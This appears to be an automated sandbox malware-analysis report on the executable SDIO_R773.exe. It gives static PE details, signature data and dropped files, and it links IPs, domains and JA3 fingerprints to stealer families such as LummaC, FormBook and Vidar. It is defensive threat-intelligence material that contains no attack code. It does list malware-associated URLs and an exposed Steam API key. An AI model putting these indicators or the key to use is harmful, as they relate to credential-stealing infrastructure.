Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SDIO_R773.exe, PID 7528 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:56:09	API Interceptor	11x Sleep call for process: SDIO_R773.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.125.66.18	Message.eml	Get hash	malicious	Unknown	Browse
	https://docsend.com/view/sutbz9ibkqcisjtv	Get hash	malicious	Unknown	Browse
	Jeffparish.docx	Get hash	malicious	Unknown	Browse
	Remittance details.docx	Get hash	malicious	Unknown	Browse
	Remittance details.docx	Get hash	malicious	Unknown	Browse
	universityform.xlsm	Get hash	malicious	Unknown	Browse
	universityform.xlsm	Get hash	malicious	Unknown	Browse
	universityform.xlsm	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AACfaxhMBCajpVJfxiny0jrZK6hv1s8xd2M	Get hash	malicious	Unknown	Browse
	bose18mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
104.21.64.1	SpCuEoekPa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/0pqe/
	4sfN3Gx1vO.exe	Get hash	malicious	FormBook	Browse	www.vilakodsiy.sbs/w7eo/
	1162-201.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/utww/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	ordrr.statementquo.com/QCbxA/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sputnik-1985.com	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	HouseholdsClicking.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	FeedStation.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DodSussex.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
edge-block-www-env.dropbox-dns.com	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	162.125.66.15
	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.15
	Setup.exe	Get hash	malicious	Unknown	Browse	162.125.69.15
	Setup.exe	Get hash	malicious	Unknown	Browse	162.125.69.15
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.15
steamcommunity.com	176.113.115.170_3.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
www-env.dropbox-dns.com	Message.eml	Get hash	malicious	Unknown	Browse	162.125.66.18
	https://docsend.com/view/sutbz9ibkqcisjtv	Get hash	malicious	Unknown	Browse	162.125.66.18
	Jeffparish.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	sEG2xXpg0X.xlsm	Get hash	malicious	Unknown	Browse	162.125.3.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	162.125.66.15
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DROPBOXUS	Message.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	https://docsend.com/view/sutbz9ibkqcisjtv	Get hash	malicious	Unknown	Browse	162.125.66.18
	Jeffparish.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	sEG2xXpg0X.xlsm	Get hash	malicious	Unknown	Browse	162.125.3.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	162.125.66.15
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
AKAMAI-ASUS	176.113.115.170_3.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	96.17.64.171
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	96.17.64.171
CLOUDFLARENETUS	QsBdpe1gK5.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.21.80.1
	HN1GiQ5tF7.exe	Get hash	malicious	FormBook	Browse	104.21.41.74
	qbSIgCrCgw.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.21.76.57
	kAsh3nmsgs.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	104.21.38.192
	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	xaqnaB0rcW.exe	Get hash	malicious	FormBook	Browse	104.21.54.126
	8L6MBxaJ2m.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
DROPBOXUS	Message.eml	Get hash	malicious	Unknown	Browse	162.125.1.20
	https://docsend.com/view/sutbz9ibkqcisjtv	Get hash	malicious	Unknown	Browse	162.125.66.18
	Jeffparish.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	sEG2xXpg0X.xlsm	Get hash	malicious	Unknown	Browse	162.125.3.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	Remittance details.docx	Get hash	malicious	Unknown	Browse	162.125.66.18
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	162.125.66.15
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18
	universityform.xlsm	Get hash	malicious	Unknown	Browse	162.125.66.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	176.113.115.170_3.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	Q7QR4k52HL.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15
	Full-Ver_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254 104.21.64.1 162.125.66.18 162.125.66.15

Process:	C:\Users\user\Desktop\SDIO_R773.exe
File Type:	HTML document, ASCII text, with very long lines (410)
Category:	dropped
Size (bytes):	1005
Entropy (8bit):	4.9698836036542575
Encrypted:	false
SSDEEP:	24:hYjkspFAunWDg5+DCpdgc6olL3lX8YDUdwlKXG/PEuXW:4plVl68lL14
MD5:	1E8AC4ADD8592CABAA50DFB8581608D2
SHA1:	EBE49951ACE4227AB233D9FD6218A9D8907118B8
SHA-256:	83622A0678D9F991CE9E6F9F2690A93504E2FC58128156C4C4B2358B372572ED
SHA-512:	8A3F7BADCF10D38D9545174651CDE383F5C035578C9D3D451DB2FFF8CC73907582EA1B233BB9F68FA988B5D615A601ECB12ECC735D7645725A7F489AB5A15696
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html>.<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">.<meta name="viewport" content="width=device-width, initial-scale=1" />.<title>Dropbox - 400</title>.<link href="https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css" rel="stylesheet" type="text/css"/>.<link rel="shortcut icon" href="https://cfl.dropboxstatic.com/static/images/favicon.ico"/>.</head>.<body>.<div class="figure">.<img src="https://assets.dropbox.com/www/en-us/illustrations/spot/target-miss.svg" alt="Error: 400"/>.</div>.<div id="errorbox">.<h1>Error (400)</h1>Something went wrong. Don't worry, your files are still safe and the Dropbox team has been notified. Check out our <a href="https://status.dropbox.com">Status Page</a> to see if there is a known incident, our <a href="https://www.dropbox.com/help">Help Center</a> and <a href="https://forums.dropbox.com">forums</a> for help, or head back to <a href="https://www.dropbox.com/home">home</a>..</div>..</body>.</h

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\Desktop\SDIO_R773.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.462936224014049
Encrypted:	false
SSDEEP:	6144:LIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:MXD94+WlLZMM6YFHg+n
MD5:	FDA89E1A1A4B80AF60C74795B62C0406
SHA1:	0DFF311741FDE402EB57EEE1C53A9D12A1E1C138
SHA-256:	1D550192CDCEAEAFF52791FD1BA59969DBB5A80383B488AD0F9C705989B61D95
SHA-512:	3BFBA0DDCDA44F79B923CE467323E4D5FA8B027444F6000E917822F4B62C5C8B9A5BDEEBB56F4758EBF86180F750529D702FBF4578AB282A3EBD4653FF1DE356
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...{.d...............................................................................................................................................................................................................................................................................................................................................e.O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.657834591055657
TrID:	Win32 Executable (generic) a (10002005/4) 99.55% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	SDIO_R773.exe
File size:	5'304'144 bytes
MD5:	c45a36ec4b4f8d8412c60db459c2b9d2
SHA1:	5c67453947128df910b46d5356f2ac5a8bae0cc9
SHA256:	24a26ac9cd209bf84831dae7d778fceb46b1e30b48454c130a6e62accdc1369e
SHA512:	c1250b9ccdee087433b1ccb1b277a8cc97dff16aeb99ce366356eecb457910297a3e592c1e379f566dfbdaa565f1b347a65c828a3072825f0457b1e7ddb72c1f
SSDEEP:	98304:JvoSyiXIQu22Q+LFmIFSy3WNxB5PlRqt+0GIKMZgOaP3oL+M1p+Plrdfoh:Jv19XLu22r0IFf3WTPlot+0hSr3oL+M7
TLSH:	F4366D5AFB4365F4F52356718A4FE77F8B146E368022DD6BFB0EEA08B4735162809312
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....!Rg..................1..RK...............1...@...........................S.......Q....... ............................

File Icon


Icon Hash:	96130b9632311b19

Static PE Info

General

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x675221BA [Thu Dec 5 21:57:14 2024 UTC]
TLS Callbacks:	0x5e2050, 0x5e2000
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	5d6fd7b1c30a5b028e18dcdea9485e90

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	26/11/2024 12:07:48 26/11/2025 12:07:47
Subject Chain	CN=T H SUPPORT SERVICES LTD, O=T H SUPPORT SERVICES LTD, STREET=Suites 10s And 11s Trafford House Chester Road, PostalCode=M32 0RS, L=Stretford, S=Greater Manchester, C=GB, SERIALNUMBER=07890919, OID.1.3.6.1.4.1.311.60.2.1.3=GB, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	99CC43DD50C8C235E6703FBFE86B0302
Thumbprint SHA-1:	21297766029D043DFBA740CD5203E45171FC8EAA
Thumbprint SHA-256:	0A2CAAF3A1E6490DE521CCCA8452705AF0BD9A4A91D7F02CD8D3588404BCF77C
Serial:	502F183B00B497DFC821D09DEB30526B

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [0086B618h], 00000000h
call 00007F3B386CF583h
add esp, 0Ch
jmp 00007F3B384EE80Bh
lea esi, dword ptr [esi+00000000h]
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F3B386E3A26h
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 0072D000h
call dword ptr [0086FB60h]
sub esp, 04h
test eax, eax
je 00007F3B384EEBE5h
mov ebx, eax
mov dword ptr [esp], 0072D000h
call dword ptr [0086FBD8h]
sub esp, 04h
mov edi, dword ptr [0086FB6Ch]
mov dword ptr [0086C054h], eax
mov dword ptr [esp+04h], 0072D013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 0072D029h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov dword ptr [0071E004h], eax
test esi, esi
je 00007F3B384EEB83h
mov dword ptr [esp+04h], 0084201Ch
mov dword ptr [esp], 0077A0F8h
call esi
mov dword ptr [esp], 00401590h
call 00007F3B384EEAD3h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x46f000	0x3bd8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x475000	0xc9200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x50c600	0x2950	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x359fb0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x46f9b0	0x85c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31cd28	0x31ce00	3b22b1e6738968eb93aea86395f7021d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x31e000	0xe77c	0xe800	39e9c61d90970028d4af91a719734105	False	0.5714574353448276	data	5.3596325539155085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x32d000	0x4c4c0	0x4c600	f896d149db53c76cb46bbc618020cad0	False	0.30581590118657936	data	5.6345238476754185	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.eh_fram	0x37a000	0xc72ac	0xc7400	6599374241c3f36e51c5118481049b5d	False	0.23927741726787954	data	5.044033366938541	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x442000	0x2c500	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x46f000	0x3bd8	0x3c00	b488a8aee2cf3814357b6f5f38893ec9	False	0.3610026041666667	data	5.637024406272127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x473000	0x34	0x200	86953374f74d9c8ce782dbf0c3749ecb	False	0.0703125	Matlab v4 mat-file (little endian) \240\036^, numeric, rows 4198672, columns 0	0.25861184145657956	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x474000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x475000	0xc9200	0xc9200	eea40cb7b52896e6aabfadf57d1d9990	False	0.5559657104568054	data	7.409085150031166	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x475718	0xc028	Device independent bitmap graphic, 128 x 128 x 24, image size 0, resolution 3779 x 3779 px/m	English	United States	0.2833184257602862
RT_BITMAP	0x481740	0x25ba0	Device independent bitmap graphic, 164 x 314 x 24, image size 0, resolution 3778 x 3778 px/m	English	United States	0.5488196313936633
RT_ICON	0x4a72e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	English	United States	0.4115853658536585
RT_ICON	0x4a8388	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 2048	English	United States	0.6922382671480144
RT_ICON	0x4a8c30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 2048	English	United States	0.5904255319148937
RT_ICON	0x4a9098	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 512	English	United States	0.5151734104046243
RT_DIALOG	0x4a9600	0x1cc	data	English	United States	0.5543478260869565
RT_DIALOG	0x4a97cc	0x324	data	English	United States	0.46766169154228854
RT_DIALOG	0x4a9af0	0xdc	data	English	United States	0.6681818181818182
RT_DIALOG	0x4a9bcc	0x3ac	data	English	United States	0.4372340425531915
RT_DIALOG	0x4a9f78	0x31a	data	English	United States	0.4005037783375315
RT_DIALOG	0x4aa294	0x200	data	English	United States	0.419921875
RT_DIALOG	0x4aa494	0x2b6	data	English	United States	0.44668587896253603
RT_DIALOG	0x4aa74c	0x9ba	data	English	United States	0.3461847389558233
RT_DIALOG	0x4ab108	0xb9c	data	English	United States	0.3495962314939435
RT_DIALOG	0x4abca4	0x286	data	English	United States	0.4953560371517028
RT_DIALOG	0x4abf2c	0x30e	data	English	United States	0.43478260869565216
RT_DIALOG	0x4ac23c	0x48c	data	English	United States	0.40893470790378006
RT_DIALOG	0x4ac6c8	0x3cc	data	English	United States	0.37037037037037035
RT_DIALOG	0x4aca94	0x4f8	data	English	United States	0.375
RT_DIALOG	0x4acf8c	0x11a	data	English	United States	0.6170212765957447
RT_GROUP_ICON	0x4ad0a8	0x3e	data	English	United States	0.7903225806451613
RT_VERSION	0x4ad0e8	0x394	OpenPGP Secret Key	English	United States	0.4814410480349345
RT_MANIFEST	0x4ad47c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727
None	0x4ad5fc	0x94f1	ASCII text, with CRLF line terminators	English	United States	0.12809147892680112
None	0x4b6af0	0x6444	Unicode text, UTF-8 (with BOM) text, with very long lines (410), with CRLF line terminators	English	United States	0.2990494000311672
None	0x4bcf34	0x8c3c	ASCII text, with CRLF line terminators	English	United States	0.3435933147632312
None	0x4c5b70	0xa2	RIFF (little-endian) data, Web/P image	English	United States	1.0679012345679013
None	0x4c5c14	0xa4	RIFF (little-endian) data, Web/P image	English	United States	1.0670731707317074
None	0x4c5cb8	0xa2	RIFF (little-endian) data, Web/P image	English	United States	1.0679012345679013
None	0x4c5d5c	0xa4	RIFF (little-endian) data, Web/P image	English	United States	1.0670731707317074
None	0x4c5e00	0x13501	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.32917009038619555
None	0x4d9304	0x12f6	ASCII text, with CRLF line terminators	English	United States	0.36402966625463534
None	0x4da5fc	0xcaea	RIFF (little-endian) data, Web/P image	English	United States	0.9969198783351942

Imports

DLL	Import
ADVAPI32.dll	AdjustTokenPrivileges, GetFileSecurityW, LookupPrivilegeValueW, OpenProcessToken, RegCloseKey, RegDeleteValueW, RegEnumKeyExW, RegOpenKeyExW, RegQueryValueExW, RegSetValueExW, SetFileSecurityW
COMCTL32.DLL	InitCommonControlsEx, PropertySheetW
COMDLG32.DLL	GetOpenFileNameW
